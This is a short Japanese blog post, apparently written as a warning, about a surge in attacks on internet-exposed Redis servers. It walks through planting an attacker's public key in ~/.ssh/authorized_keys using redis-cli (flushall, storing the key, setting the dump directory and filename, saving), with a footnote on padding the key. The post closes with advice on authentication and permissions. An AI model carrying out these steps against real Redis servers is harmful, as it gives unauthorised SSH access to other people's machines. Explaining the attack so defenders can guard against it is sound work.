年末年始からRedisを狙った攻撃が増加しているようです.
- 「Redis」狙う不正アクセスが年末年始に急増 Security NEXT
- NoSQLデータベースであるRedisを標的としたアクセスについて 警察庁セキュリティポータルサイト@police
- 「Redis」の脆弱性を狙いファイルのアップロードを試すアクセスを観測(警察庁)
要約すると外部から任意のファイルをアップロードができるため, authorized_keysなどに攻撃者の公開鍵が作成されてしまいます.
攻撃の例を以下に示します.
redis-serverがuserというユーザーの権限で動いているとします.
まず, userのauthorized_keysには何も含まれていません.user@66ac36057198:~/.ssh$ cat authorized_keys
まず, 攻撃者は既に格納されているキーとバリューをクリアします.
その後, 自身の公開鍵を適当なキー(ここではpwnというキー)で保存します.
そしてデータを書き出すディレクトリ(/home/user/.ssh/)を設定し, ファイル名をauthorized_keysとします.
最後にデータを書き出します. [1]
$ redis-cli -h 172.17.0.2 flushall |
これでuserのauthorized_keysには攻撃者の公開鍵が追加され, SSHでのログインを許してしまうことになります.user@66ac36057198:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUgAzqX0... mrtc0@localhost
もちろん, redis-serverを動かしているユーザーが書き込める権限がなければいけませんが.
インターネットに公開した状態で認証をかけず, 適切な権限で動かしていないと大変なことになりますので注意が必要です.
参考文献
[1]: 実際はゴミデータも含まれるため (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) のようにして改行を挟む必要がある.